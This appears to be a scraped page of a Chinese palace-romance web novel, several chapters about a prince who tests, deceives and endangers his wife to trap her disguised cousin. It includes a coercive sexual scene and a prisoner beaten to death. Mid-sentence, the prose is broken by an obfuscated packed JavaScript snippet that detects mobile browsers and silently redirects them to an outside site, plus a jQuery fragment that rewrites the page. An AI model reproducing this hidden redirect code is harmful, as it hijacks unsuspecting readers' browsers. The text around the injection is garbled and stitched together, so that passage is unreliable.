薛慎牵上姜芙的手,“芙儿还是看仔细些的好,万一是呢?”
其实信笺上并没有写什么过分的话,可姜芙知晓薛慎不喜她同离城那边有任何牵连。
若他只是恼她,那还好,万一他迁怒表姐,那便不是姜芙想看到的了。
多一事不如少一事,她打定主意不认。
随意翻了翻,道:“不是妾身的。”
薛慎含笑道:“是吗,看来是我弄错了。”
他对着门外的小八说道:“把东西收走。”
小八推门进来,抱着盒子离开。
薛慎揽住姜芙的肩膀,故意问道:“芙儿是不是冷?”
姜芙:“嗯?”
“手好抖。”他道。
姜芙把手藏到袖中,胡乱找借口,“妾身畏寒,每每冬日便会这般,还请王爷莫怪。”
“本王当然不会怪。”薛慎把她抱坐到腿上,“本王心疼还来不及呢。”
“不如让本王为芙儿祛祛寒。”
姜芙:“……”
他眼神轻柔,可姜芙知晓,他句句都在试探。
“谢王爷,妾身自己也可……”
姜芙的话被男人滚烫的手指打断,薛慎先是解开了她的腰带,随后手指落到了她衣襟处,不费吹灰之力轻松扯开。
他没急着把她剥干净,而是任指尖肆意游走。
姜芙半阖眼,下巴抬高,脖颈拉扯出一道挺立的弧,火红烛光映在上面,勾勒出氤氲的光。
让她看上去越发盈动。
薛慎埋进她颈窝,又咬又吮。
姜芙想躲,但腰肢被他箍着根本躲不开,只能承受。
他齿尖力道不重,除了窸窸窣窣的痛意外更多的是酥麻感,以前他只管自己痛快,下手没有轻重。
不知从何时起,他变了策略,哪怕是沉沦也要她同他一起。
姜芙知道自己那样不对,可她根本控制不住,心还能守,但身子……
在他的调教下,已经不是她自己的了。
“芙儿,是不是也想了?”他抓着她的手指一根根吻上。
姜芙缩着手指不给他亲,又被他抓了回来,“还是芙儿的身子更诚实。”
他触着她,感受着她的泛滥。
她以为他会像之前那样折腾很久,并没有,他很温柔,动作也轻盈。
姜芙有种不真实感。
不知他又再耍什么花样?
……
薛慎回了书房,打开锦盒,只有最上面那封信笺写着字,下面的都是白纸,什么也没有。
他刚刚是在试探姜芙。
姑且再信她一次。
把信笺放好,小八走了过来,“主子,这是咱们的人快马加鞭送来的。”
薛慎接过,打开,随即焚毁,交代道:“继续守着,我倒要看看江家还能翻天不成。”
小八:“是。”
……
薛蕊相看了两次便再也不想去了,跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277020|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西厢院躲清净,“三嫂,让我在你这避避。”
姜芙示意婉儿端来茶水,柔声道:“这两次相看如何?”
“不好。”薛蕊道,“一个个歪瓜裂枣。”
“都不喜欢。”
“嗯,不喜欢。”
“那母亲怎么说?”
“还能怎样,要我继续相看。”
姜芙劝慰,“母亲也是为你好。”
薛蕊现下最不想的便是宋氏为她好,“可我不想嫁人。”
姜芙明白她的心情,“后日又有灯会,咱们要不要一起去看看?”
薛蕊:“好呀。”
在府中关了许久,她也想出去逛逛了。
薛慎进来,薛蕊道:“后日灯会,三哥同我们一起去如何?”
薛慎看向姜芙,“想去看?”
姜芙点头,“嗯。”
“那好,”薛慎道,“我陪你们去。”
薛蕊揶揄,“三哥对三嫂真好,三嫂你还有福气。”
世人都喜欢只看表面,诚如眼前这般,薛慎对她好到了极致,可没人知晓,之前那些日子他是如何对她的。
堪堪把她折磨疯。
姜芙淡笑,“是。”
薛蕊:“三嫂三哥这般恩爱,为何还不要子嗣?莫不是三哥不愿意?”
“怎么会。”薛慎旁若无人般揽上姜芙的腰肢,“我同你三嫂正有此意。”
“是吗?那我先恭喜三哥三嫂了。”薛蕊道,“日后王府会更热闹。”
薛慎:“你闲暇时多陪陪你三嫂。”
薛蕊含笑道:“只要三嫂不嫌我烦,我会日日都来。”
日日都来,到底是陪伴还是看管……
姜芙不动声色,莞尔一笑,“多谢四妹了。”
“自己人,客气什么。”薛蕊指着案几上的画,问道,“这画是三嫂画的吗?”
姜芙:“嗯,让四妹见笑了。”
“真好看。”薛蕊道,“改日烦请三嫂教我作画。”
姜芙:“好。”
薛慎和薛蕊一起离开,薛蕊屏退婢女,淡声道:“我照三哥说的做了,三哥答应我的事也会做到吧?”
薛慎:“相看的事我同母亲讲了,以后母亲不会再逼迫你。”
“那宅子呢?”薛蕊道,“三哥可是许诺会送一处宅子给我。”
“等你三嫂诞下子嗣,我便给你宅子。”薛慎道,“这段日子你好好陪着你三嫂。”
“日日都陪?”
“嗯。”
“三嫂是有哪里不对劲吗?不然三哥为何这般?”
“是三哥太爱你三嫂。”薛慎淡声道,“旁人照看我也不放心,还是阿蕊来更合适。”
薛蕊笑的一脸灿烂,“三哥放心,我一定会好生照看三嫂。”
薛慎递上钱袋,“这些银钱都是给你的,想买什么便去买。”
薛蕊:“还是三哥对我最好。”
两人从假山后分开,转身后,薛蕊脸上的笑意全无,她再也不是昔日那个没心没肺的王府小姐了。
一朝和离,她明了,凡事只能靠自己。
他们喜欢乖乖女,好,那她就装给所有人看。
薛慎再度回了西厢院,借口是香囊掉了,他特意回来寻。
彼时姜芙正要喝避子汤,见他来,手抖得不行。
薛慎见状上前,问道:“芙儿身子不适么?”
姜芙想起他方才提起子嗣时的雀跃神情,不敢说是避子汤,压下慌乱,佯装镇定,“嗯,头有些不舒服,让人开了些药。”
薛慎眼底似有什么闪过,他伸手接过汤药,“来,我喂芙儿服下。”
20、第二十章好戏
第20章
姜芙见他如此有些不想喝了,推拒,“不敢劳烦王爷。”
“叫夫君。”薛慎攫住她下颌,指腹轻轻摩挲,“汤药趁热喝才会见效。”
“来,张嘴。”他温柔的不像话。
姜芙更惧怕了,猜想也多了起来。
莫不是他知晓这是避子汤,故意试探她?
“芙儿怎么不张嘴?”薛慎把汤碗递上来,“听话,张嘴。”
思付片刻,姜芙还是张开了嘴,慢慢吞咽下去,味道同之前一般无二,汤药应该没问题。
是避子汤。
薛慎放下碗盏,拿过帕子为她擦拭唇角,淡声道:“蜜饯。”
婉儿急忙递上。
薛慎捏着放入姜芙口中,还命婉儿端来了茶水,要姜芙吃完蜜饯后喝下。
他殷勤照顾着她,倒叫姜芙有些忐忑,若是他知晓她一直在服用避子汤,不知他会如何?
肯定不会放过她。
思及此,她再次燃起离开的念头,迟则生变,还是不应拖得太久。
“谢夫君。”姜芙道。
薛慎坐在她身侧,执起她的手,“我今日新得了一副画卷,想来芙儿会喜欢。”
“小八。”
小八推门进来,手里捧着画卷。
薛慎接过,牵上姜芙的手一起走到书案前,展开,是一副送子观音。
姜芙看后,心突突跳快,压下慌乱,“谢过夫君。”
“你我夫妻何须言谢。”薛慎把她揽怀里,“为夫只愿芙儿早日诞下子嗣。”
子嗣……
桑淼初入王府时确实那般企盼过,生个长得同他一般无二的孩子,相夫教子度过此生。
可历经种种,那些早已不复存在,她只想离去。
“妾身也想,只是……”姜芙盈动的眸子里沁着雾气,“都怪妾身身子不争气。”
“诶,不急。”薛慎道,“总会有的。”
姜芙怕说多了会暴露什么,转移话题,“下雪了,慎哥哥可愿同我一起赏雪?”
薛慎:“甚喜。”
他们像普通恩爱夫妻那样,相互依偎着站在廊下观雪,时不时攀谈两句。
可没人知道,他们心里都在想什么。
又在算计着什么。
……
薛蕊当真是说到做到,日日来西厢院陪姜芙,姜芙几次外出也都是她陪着,婉儿几次找机会离开都未能成功。
“王妃,是奴婢没用。”
“同你无关。”姜芙当即猜出这一切都是薛慎的主意,道,“等等再说吧。”
这一等,等到了年关。
堰都城中张灯结彩好不热闹,杂耍的,唱戏的也都出现在各个角落。
姜芙终于等到了外出的时机,偏生又被薛慎拦住。
“芙儿去哪?”
“店里做了新衣,妾身去拿。”
“正好我无事,可陪芙儿一起。”
姜芙只得同薛慎一起,沿路叫卖声很响亮,姜芙指着糖葫芦道:“妾身想吃。”
“婉儿,你去买。”
薛慎:“慢着,小八去。”
婉儿只得退回来。
小八去去便回,“王爷。”
薛慎接过,递给姜芙,“给。”
姜芙哪里是真想吃,噙笑道:“多谢王爷。”
她接过,慢慢吃起,恍惚的想起了儿时,“我在江北时,每每年关,娘亲便做来给我吃。”
“娘亲什么都会,她还对我说过,会永远做给我吃。”
“可惜——”姜芙哽噎,“我再也吃不到了。”
薛慎把她揽进怀里,“年后,我陪同芙儿回江北省亲。”
“王爷繁忙,不敢劳烦。”姜芙道,“只盼王爷能允许妾身回家祭奠娘亲,足矣。”
“无妨。”薛慎道,“待我禀明陛下后,便可同芙儿一起回去。”
姜芙要的是自己离去,不是薛慎作陪。
“可——”
“芙儿莫急。”薛慎打断,“很快便可回去。”
姜芙的心犹如沉入谷底,到底该如何摆脱他?
……
离去的方法还没想通透,又出了旁的事。
离城江家传来的书信,江家小姐突然患病,怕是……
姜芙得知消息后,如热过上的蚂蚁,左立难安,偏生薛蕊像狗皮膏药似的一直缠着她。
“嫂嫂,你看我绣的对吗?”
“这个针法是不是不对?”
“哎呀,多年不做女红,我怎地都忘了。”
“怪不得母亲说我笨,我还真是如此。”
“嫂嫂就非常聪慧。”
薛蕊脸上淌着笑,眉宇间盈动耀眼,见姜芙一直不说话,连着唤了她好久。
“嫂嫂。”
“嫂嫂。”
“嫂嫂。”
姜芙回过神,“嗯?”
“嫂嫂想什么呢?”
“哦,我刚刚想起了小时候。”
“小时候如何?”
“想起了我兄长。”
姜芙道:“三年未见,也不知他们怎么样了?”
“三哥不是答应嫂嫂年后陪嫂嫂回去吗。”薛蕊安抚,“嫂嫂别急,很快便能回去。”
“怕是母亲不会同意。”
“无妨,三哥的话母亲还是会听的。”
说话间,周氏走了进来,“呦,怪不得许久没见四妹,原来一直在三弟妹这。”
薛蕊:“给二嫂请安。”
“我可不敢。”周氏道,“如今四妹眼里怕是早没我这个二嫂了。”
“二嫂这是说的哪里话。”薛蕊道,“妹妹是怕扰了二嫂的清净才没去打扰。”
趁她们攀谈,姜芙把婉儿支走,随即上前插话,“二嫂,四妹,我后院养的青竹不错,咱们一同去看看。”
薛蕊:“好啊。”
周氏:“竹子有何好看的。”
姜芙:“此竹非彼竹,二嫂看看便知晓了。”
看来看去还都是一样,周氏道:“哪里有差别。”
薛蕊注意到了什么,问:“三嫂,婉儿呢?”
“哦,她去小厨房了。”姜芙道,“我肚子饿,让她端些吃食来。”
直到周氏离开,婉儿也没回来。
薛蕊:“婉儿怕是去别处偷懒了吧?”
“婉儿不会。”姜芙道,“人定在小厨房。”
她唤来下人去找婉儿,没多久,婉儿端着糕点走过来,“奴婢亲手做的栗子糕,四小姐尝尝看。”
薛蕊拿起,慢咬了一口,淡笑:“不错。”
晌午前离去,没回自己的院子,先去了薛慎那,“三哥,三嫂看着无异,大概是你多虑了。”
“旁人呢?”
“也无恙。”
薛慎:“那好,你继续看着,若是不妥,及时告知我。”
薛蕊想起婉儿离开了一个时辰,有意告知,随后又觉得是自己小题大做了,便把话咽了回去。
“好,妹妹知晓。”
……
婉儿把信笺递给姜芙,“王妃,那人说表小姐不是生病,是中毒。”
“中毒?”姜芙低头打开信笺,细细看去,还真是中毒,“可有解药?”
婉儿:“暂未寻到。”
姜芙来回踱步,“这可如何是好?”
“王妃莫急,”婉儿又道,“虽暂未寻到解药,但毒性已经压制,短时间内表小姐无虞。”
心情一波三折,姜芙好似死了又生,“知晓是何人下毒吗?”
婉儿:“不知。”
“对了,”婉儿从怀中取出一物,“这是那人身上掉下来的。”
是玉佩,看着还有几分熟悉。
姜芙把玉佩收起,“此事切莫向任何人提及。”
“是。”
婉儿话音方落,门被推开,薛慎走进来,后方还跟着几个人。
其中一人被打的奄奄一息,血流淌了一地。
那人不是别人,正是两个时辰前同婉儿碰头的小厮。
离城江府的人。
21、第二十一章做戏
第21章
那人被打的血肉模糊,起初姜芙还没认出,直到婉儿给她使了个眼色,她才知晓。
薛慎竟然把人伤到如此地步,他这是要作何!
姜芙脸色惨白的后退两步,半晌后才开口,“王爷,这?”
“芙儿不认识他?”薛慎执剑挑起那人的下巴,让他血肉模糊的脸呈现在眼前。
姜芙还从未见过如此血腥的一幕,吓得练练作呕,忍不住掩唇咳起来,不适压下后,才缓缓道:“不识。”
“当真不识得?”薛慎道,“芙儿可要看仔细了。”
姜芙一眼都不愿多看,把头转向一边,“妾身不识。”
薛慎收回剑,给了小八一个眼色,小八把那人拉走,须臾,庭院里传来哀嚎声。
姜芙闻言,只觉天旋地转,她甚至没发现薛慎何时到了他身侧。
四目相对,她看到他眸中闪过的杀意,稍纵即逝,她听到他说:“这人是细作,窃取了朝廷机密,他是从离城那边来的,说是来这里寻人。”
“芙儿当真不识?”
事已至此,为了他,也为了自己,姜芙只能一口咬死,“不识。”
“既然如此,留他也无用。”薛慎道,“小八,打。”
梃杖落下,一盏茶后,那人渐渐没了声音,小八命人把他抬走。
血渍被白雪覆盖,一切好像什么都没发生。
可明明,是发生了。
鲜活的生命在自己眼前逝去,姜芙当夜梦魇,第二日便发起热,昏迷不醒,还说着胡话。
起初婉儿不想惊动任何人,可见姜芙不见好转,只能去寻薛慎。
薛慎带着太医匆匆赶来,治疗了两天才把人从鬼门关抢回来。
太医道:“王妃是受惊过度引起的惊厥,此病乃心病,单是药物不可,心病还得心药医,王爷要好生照看才行。”
薛慎:“好。”
那日之后,他便一直宿在西厢院,衣不解带的照顾姜芙,端汤喂药也都是亲力亲为。
便是擦身,也是他。
五日后,姜芙转醒,看到他的瞬间吓得连连后退,薛慎把她揽怀里,轻哄:“都是为夫的错,以后再也不会了。”
饶是他这样讲,姜芙还是不愿他靠近,每次见他都会胆战心惊,婉儿在一旁规劝,“王爷,要不还是奴婢来吧?”
薛慎把药碗递给婉儿,“好生照顾王妃。”
婉儿作揖,“是。”
姜芙颤抖道:“出去,出去。”
这不是她第一次赶人了,薛慎凝视片刻起身离开。
婉儿见他走出院门后,低声道:“王妃,王爷走了。”
姜芙停止哭闹,恢复如初,“那人如何了?”
婉儿:“死了。”
“尸身在哪?”
“乱葬岗。”
“找人去寻,寻到后厚葬。”姜芙只能做这些。
婉儿:“是。”
“这几日王爷可有怀疑什么?”
“暂时没有。”婉儿问道,“王妃还要装下去吗?”
“要。”姜芙道,“在他彻底放下疑心前我都要装。”
昏厥是真,但装病也是真,那个太医是她之前买通的,为的就是让薛慎觉得对她有愧,只有这样他才能放下芥蒂诚心待她。
她想活命,也只有如此。
“王妃,这药?”
“给我吧。”药是薛慎命人熬的,她不喝,他会起疑。
又躺了几日,姜芙在婉儿的搀扶下走出房门,雪下了厚厚一层,踩在上面咯吱作响。
姜芙再次想起了那夜,心悸袭来。
她忍不住战栗起来。
薛慎…好可怕。
-
薛慎知晓自己可怕,可他的可怕从来都是对外人。
看着跪在地上的男人,他道:“孙太医,戏你还得演下去。”
孙太医擦拭两下额头上的汗渍,“王爷,这……”
“若是让王妃起了疑,我唯你是问。”薛慎道。
孙太医跪地,“是。”
第二日孙太医照常问诊,还开了汤药,婉儿去煎药,薛慎亲自为姜芙服下。
三个人各自演各自的。
姜芙以为自己演的很好,殊不知,薛慎早已看穿。
“明日休沐,我带去外出转转。”薛慎执帕为她擦拭唇角,“你不是最喜皮影戏吗,可以去看,或许去听曲,都随你。”
“芙儿,你可愿同我前去?”
姜芙眼神呆滞,看了许久才道:“……好。”
病了小半月,表姐那边大概又有人送来了信笺,她要想办法拿到,出府是最快的方法。
不然被困在这里,永远都不可能看到。
“芙儿真乖。”薛慎哄她,“来,都喝了。”
姜芙全部喝下。
须臾,只感觉头越发重了,随后沉沉睡去。
薛慎坐在榻边端详,眼神柔情似水,他握住她的手,凑到唇边亲了下。
叮嘱道:“要好生照顾王妃。”
婉儿跪地,“是。”
“王妃可还梦魇?”
“偶尔,但已经好多了。”
“记得按时服用汤药。”
“是。”
薛慎眷恋地看着,恨不得把她藏入袖中,离开时也是恋恋不舍,走一步,停一次,回头看一次。
几步远的距离,他走了许久。
姜芙在他离开的下一瞬睁开眸,掀开被子起身,“明日你随侍在我身侧,见机离开。”
婉儿:“是。”
“切记,要掩人耳目。”
“好。”
“王妃,咱们这样瞒着王爷真的可以吗?”婉儿有些不安,“王爷不允王妃同离城那边联系,是不是表小姐真做了什么?”
“难不成那个军饷案真是表小姐做的?”
“表姐一介女流,岂会做如此大逆不道之事,大抵是遭人陷害。”姜芙不相信江烟雨会做这样的事。
“先不说表小姐,就说那个江公子,王妃不觉得他很奇怪吗?”婉儿道,“说是江府幕僚,可一点都不像,倒像是主子。”
“王妃下次再见他,还是小心点好。”
姜芙也感觉到了一丝不妥之处,具体的说不上来,“好,我会小心。”
-
翌日,城中小游,姜芙继续装病,低头轻咳,薛慎给她递上温水,揽着她肩喂她喝下,还喂她吃了蜜饯。
担心她累,给她在后腰处塞上了垫子。
“若是困,可以小憩。”他道。
难得出来,姜芙自然不会睡,“妾身无碍。”
外面传来欢呼声,还有雀跃声。
“好,厉害。”
姜芙掀开车帘侧眸去看,看到了正在表演杂技的小姑娘,已经踩到了最高处,腿缓缓抬起。
所有人齐齐发出钦佩声。
小姑娘半点都不慌,双臂展开做着动作。
下方有人在讨钱,铜板一个个扔进了里面。
跑江湖卖艺最是不易,姜芙唤了声:“婉儿。”
婉儿点点头,走进人群中给了十个铜板。
小九也跟着扔下一些。
两人没停留,折返,后方传来感激声:“谢谢大爷,大姐。”
“芙儿还是这般心善。”薛慎道。
“王爷也是。”姜芙含笑说。
马车很快驶离,随后去了另一个街道,这里依然很热闹。
姜芙看到了卖花灯的,正好说什么时,有人围住了马车。
黑衣人,还举着剑。
“薛慎,滚出来。”
是来刺杀薛慎的。
这种事时常发生,薛慎见怪不怪,道:“就凭你们,也配!”
下一瞬,厮杀开始。
小九小八应敌,薛慎在马车中护着姜芙,他半点慌乱都没有,还问姜芙要不要吃糕点。
忽地,马车被人踹了一脚,姜芙身子朝一侧倒去,薛慎一把护住她,脸色难看至极。
“一个不留,都杀!”
小八小九拼尽全力厮杀。
婉儿躲在树后焦急看着。
姜芙看向薛慎,也不免有些担心,好歹三年夫妻,她不想他出事。
方思索到此,一阵疾风扑面而来,她被人挟持出去,眨眼间,剑架在了她脖颈上,如玉的肌肤顷刻间溢出血。
黑衣人要杀她。
薛慎也从马车中出来,怒目圆睁,“放开她!”
他担忧的神情不像是装的,姜芙害怕之余又有一丝安慰,或许,他不是真的那般无情。
黑衣人非但没放,还更用力了些,刀锋锐利,血淌出的更多了。
“薛慎,用你的命换她的命,换不换!”
22、第二十二章万念俱灰
第22章
风骤起,雪花纷飞,姜芙身上都是雪,雪花飘进了眼睛里,眼底湿漉漉的。
到底是处在深闺多年,乍然遇到这种事,恐惧占满了心间。
她颤着眼睫去看对面的男人,想听他说些什么。
哪怕一句都好。
又一阵风袭来,她踉跄着晃了下,锐利的刀锋划入的更深了。
痛意蔓延开,她脸色泛白,周身都是冷汗。
她想过千万种死亡的方法,唯独没有想过是眼下这般,她同黑衣人无冤无仇,为何黑衣人要如此害她?
后,她明白了,黑衣人是想用她的命来拿捏薛慎。
看来黑衣人还是不够了解薛慎,阴戾如他,怎么会因旁人的性命妥协。
这局,注定她和黑衣人都会输。
“薛慎,再问你一次,用你的命换她的命,你换不换!”
众人齐齐看向薛慎,都在等着他发话。
小九小八也停下,侧眸看过来。
婉儿跪在地上,求黑衣人放过姜芙。
方才还热闹非凡的街道,除了他们外,其他人都已经逃离。
冷风刮在脸上真的好冷,姜芙忍不住抖了又抖,在她打算放弃时,耳畔传来男人清冷的声音。
“好,我换!”
姜芙杏眸骤然睁大,不可思议地睨着薛慎,她从未想过他会为了救她而让自己涉险。
她不太相信眼前看到的。
直到,他扔下手中的利剑,缓缓的,一步步走过来。
“放开她,我跟你们走。”薛慎站定在面前。
黑衣人唇角露出邪魅的笑,“你真以为我们会相信你的话?”
“她不能走,你也不能走。”
黑衣人给同伴使了个眼色,下一瞬,薛慎被制服,那人先是踢了他一脚,随后又给了他一拳。
向来风流倜傥的睿王爷,眨眼间乌眼青,唇角上还淌着血。
他连哼都没哼,冷冷看向黑衣人,“若是你敢动我们,今天你们谁也别想安然离开。”
“现在还嘴硬,真该死。”那人又给了薛慎一拳。
薛慎连转到一侧,片刻后又转回来,唇角上的血渍越发过了。
姜芙见他们还要动手,哭着道:“别打了,求你们。”
她在为薛慎求情。
薛慎看她,温声道:“芙儿别怕,我在。”
一句话,让人恐惧的心瞬间安稳下来,姜芙还当真不怕了,她红着眸子,道:“为何要救我?”
“你是我的王妃,我当然要救你。”薛慎唇角淡挑。
姜芙哽噎道:“你可以不救我的。”
“又说傻话。”薛慎说,“我怎么可能不救你。”
“说够了吗。”黑衣人怒斥,“想说去了阎王殿再说也不迟。”
他们把姜芙和薛慎都推进了马车中,须臾,马车疾驰而去。
小八小九骑着马紧紧跟随。
一行人浩浩荡荡出了城。
姜芙不知去哪,慌乱问道:“怎么办?”
“别急,小九小八会救咱们的。”薛慎安抚道。
“都怪我,若不是因为我,你也不会被他们挟持。”姜芙泪眼婆娑道,“都是我的错。”
“你也不想。”薛慎道,“放心,咱们一定能安全离开。”
可能是他的眸光太坚定,姜芙信了他的话,点点头,“对,我们一定会离开。”
命悬一线时,人的想法总会很多。
比如此时,姜芙甚至放弃了和离的念头,他都愿意舍命救她,她又怎能弃他于不顾。
世上的夫妻哪有那么多相亲相爱的,相敬如宾也不错。
罢了,若是这次能全身而退,那她便安下心来同他过日子。
好坏,都好,她认了。
想通了这些,姜芙眼底蓄着的泪决堤般流淌下来,她扑进薛慎怀里,“慎哥哥。”
动情一声呼唤,任谁听了都会心猿意马。
薛慎双手被绑着不能做什么,只能用嘴去安抚,他低头吻上她额头,轻哄,“别怕,慎哥哥会一直都在,绝不让他们伤你分毫。”
从他走上前那一刹,姜芙对他的话再无怀疑,点点头,轻嗯一声。
薛慎又说:“若是有机会逃跑,你不要管我,赶快离开。”
“我不。”姜芙道,“我要陪着你。”
“傻芙儿,你在这里只会乱我的心,你跟着小九离开,等我把这些人抓到后便回府去找你。”薛慎吻吻她脸颊,“听话。”
患难见真情,姜芙信了这句话,抿抿唇,“好,我在家中等你,你可要早些回来。”
“放心,我会很快回去。”薛慎的唇覆在了她的唇上,不管不顾接了个绵长的吻。
姜芙再次依偎进他的怀里,“记住你说的,一定要平安回来。”
她只要他平安,其他都可以不要。
哪怕是自由,她也愿意为了他舍弃。
风肆意流淌进来,可姜芙再未觉得冷,相反她周身充满暖意,有他护着,哪怕是死,她也不惧。
女人低头沉思,未曾注意男人一闪而逝的异样。
他唇角勾着,亲了亲她发顶,“回去后带去你赏梅。”
“好。”姜芙道。
赏梅不是她期翼的,她期翼的是能同他在一起。
她抬眸去看他,发现他在笑,“慎哥哥一点都不怕吗?”
“有芙儿在,慎哥哥无惧。”薛慎道。
“我也是。”姜芙说,“有慎哥哥在,芙儿也无惧。”
互相成为彼此的依靠,这是姜芙多年来的夙愿,一朝达成,她喜极而泣,老天垂怜,她总算是等到了。
晶莹剔透的珠子顺着眼角流淌下来,滑落到她的脸颊上,又落到她衣襟处,映出一片洇湿。
她哭的梨花带雨,薛慎哄了又哄。
两人眼中只有彼此,完全没理会外面的血雨腥风。
雪下得更大了,风也是,好似一个不经意便能把人吹翻。
几名黑衣人相视一眼,随后勒马停下,“吁——”
疾驰中的马儿渐渐放缓速度,停住。
姜芙被薛慎揽着朝前扑去,又坐回来。
小九小八也纷纷勒马停住。
气氛再次剑拔弩张,车帘被挑起,姜芙和薛慎被拉扯出去。
“不许伤她。”薛慎怒斥道。
“你说不许就不许,你谁呀。”黑衣人举起剑,直直斩断姜芙垂在肩上的发丝,就差一点,便会削到她的脖颈。
姜芙吓得大气不敢出,掌心里溢出了细密的汗。
薛慎怒斥,“再敢动她,你们都得死。”
“我看是你们先死!”黑衣人举剑再次砍过来。
姜芙吓得闭上眼。
千钧一发之际,有人用扇子把剑击打开。
“啪”是剑落地的声音。
然后折扇又回到了那人手中。
姜芙慢慢掀开眸,入目的是一身白衣的男子。
俊朗秀气的五官,精雕细琢的轮廓,他不是别人,正是江宸。
姜芙脱口而出:“江先生。”
江宸看过来,温声道:“抱歉,我来迟了。”
姜芙没听懂他话里的意思,眼角余光看到黑衣人正要对薛慎不利,她急呼:“慎哥哥。”
薛慎没避开,狠狠挨了一拳。
屈膝倒下。
姜芙挣扎着要去看薛慎,被黑衣人摁住,“放开我,放开我。”
黑衣人:“再动,老子先杀了你。”
姜芙没理会,依旧是那句,“放开我。”
江宸看到这里,轻笑出声:“王爷这戏还没唱罢吗?”
原本跪在地上的男人,缓缓站起身,眼神森冷阴戾,“江公子好久不见。”
“哦,不对,应该说是江小姐。”
姜芙听不懂他们在说什么,哪里来的江小姐,那人明明是江宸,江先生。
“芙儿,”薛慎走过来,“你大概还不知道眼前这位江先生,其实就是同你书信来往多年的江家嫡女,江烟雨。”
“至于他为何男扮女装,又为何不曾告知你,恐怕你得问他了。”
江烟雨…表姐…江宸…
任凭姜芙如何想都不会想到是这个,她摇摇头,“不可能,不可能,怎么会。”
江宸只是幕僚,怎么会是表姐,不是,他不是。
姜芙后退再后退。
江宸知晓瞒不住,温声应下,“阿芙,我就是江烟雨,也是江宸,我不是有意要诓骗你,你随我走,我把一切都告知你。”
“走?走哪里去?”薛慎站定在姜芙身侧,揽上她腰肢,“芙儿是我的王妃,没有我的允许,她哪里也不能去。”
“薛慎,你这个卑鄙无耻的小人。”江宸冷声道,“为了引我现身,竟然拿阿芙来做诱饵,你可知稍有不慎她便会死。”
“你到底爱没爱过她?”
“我们夫妻间的事何时需要旁人来置喙了。”薛慎道,“江宸,今日便是你的死期!”
“给我杀!”
姜芙挡在薛慎前,久久后问道:
“这真是你设的局?”
23-30
第二十三章 离开芙儿,别不要我
薛慎凝视她,“你信他的话?”
姜芙谁都不信,只信亲耳听到亲眼看到的,她再次问道:“回答我,这真是你设的局?”
四周除了风声再无其他,两人直勾勾锁着彼此,眼眸里是只有对方才能读懂的神情。
姜芙最是知晓薛慎,若真不是他做的,他会驳斥。
然而,他什么都没讲。
江宸说的是真的,真是薛慎所为。
他为了诱江宸现身,拿她的命做赌注,明知她怕的要死,却还是允许那人举剑对准她。
她的哭泣求饶,成了最大的笑话。
心仿若被敲碎了般,痛到痉挛,四肢百骸都是痛的,整个人好似沉入了海底,窒息一波波袭来。
她想抓什么,却什么都没抓到,掌心里空空如也。
手指僵在哪里,动弹不得,一如此时的她。
眼睛里再也没了亮光,她不断重复着一句,“真是你设的局…真是你设的局…真是你设的局…”
言罢,一口血喷射而出。
姜芙双腿一软倒了下来。
薛慎一把抱住她,“芙儿。”
姜芙看他,如看陌生人,轻笑道:“薛慎,你真狠心。”
竟然算计她到如此地步。
这是那日姜芙说过的最后一句话,那之后,她被薛慎强行带回了王府,关在西厢院里。
太医进进出出,但她就是不醒。
薛慎下了死令,“若是救不活王妃,你们谁都别想活。”
丫鬟下人跪了一地,颤颤巍巍道:“求王爷饶命。”
薛慎满眼猩红道:“芙儿活着你们才能活。”
姜芙听到了他的咆哮声,唇角很轻地扯了扯,装出这副深情给谁看。
下一瞬,她再次陷入无边的黑暗中,阴森森的,什么都看不到,她不停地跑不停地跑。
她还看到了少时的薛慎,跪在雪地里被睿王爷责打,她扑过去护住他。
眨眼间,少年薛慎长大成人,他一把扼制住她的喉咙,“姜芙,你去死吧。”
她没有死成,而是去了另一处,这里,依然有薛慎,他叫她芙儿,轻哄着她喝汤药。
他还说这辈子只喜欢她一人。
转瞬,他命人把她绑了,用她来引江宸上钩。
他说你左右不过是一颗棋子,是死是活都不重要。
他真是狠心呐。
姜芙继续跑,跑到了悬崖边,她看到了被捆绑住的江宸,他满身伤痕命悬一线。
他不止是江宸,还是她的表姐,是她的密友。
是他一直安慰她鼓励她,即便他隐瞒了身份,但不可否认,他对她的好是真的。
江宸不能死,不能。
她要救他。
姜芙义无反顾扑向江宸,她愿以她的命换江宸安虞。
……
痛楚再次袭来,姜芙慢慢睁开眼,熟悉的陈设,她认出这是她的房间。
婉儿见她醒来,喜极而涕,“王妃,您终于醒了。”
姜芙张嘴想发声,但什么声音都发不出,她连着试了几次都不行。
婉儿:“您昏迷了月余,刚转醒,身子虚,别急,会好的。”
月余?
那便是年后了。
姜芙抓住婉儿的手,无声问:“他如何了?”
婉儿不懂,“王妃您想问什么?”
姜芙拉过婉儿的手,在她掌心写下一个“江”字,婉儿道:“江公子被关进了地牢,一直在用刑。”
姜芙的心猛然揪起,是她,是她害了江宸。
若不是薛慎用她的命做要挟,江宸一定不会折返,只要他不回来便不会中圈套,都是她的错。
她要救出江宸。
“他呢?”她再次问。
“您说的是王爷 ?“婉儿道。
姜芙点头。
婉儿:“王爷去宫里了,最近宫里也不太平,八皇子夭折,陛下动怒,王爷这几日一直在宫里彻查此事。”
他不在,更好方便她行事。
眼下最重要的是找到江宸被关押的地方,姜芙又在婉儿掌心比划了一下。
“小八跟王爷进宫了,小九没见到。”婉儿递上茶盏,姜芙坐起,伸手接过,低头轻抿一口。
茶水入喉,姜芙喉咙好了些许,能发出粗哑的声音。
婉儿劝她,“王妃别急,养养会好的。”
姜芙吃力道:“若是看到小九,记得来告诉我。”
婉儿:“是。”
婉儿知晓姜芙的心意,规劝,“王妃便是想救人也得先把身子养好。”
“您那日吐血可把奴婢吓坏了。”
姜芙连着吐了两口血,别说婉儿了薛慎也吓得白了脸,抱起她不管不顾回了王府。
“要不要差人去宫里告知王爷您醒了?”
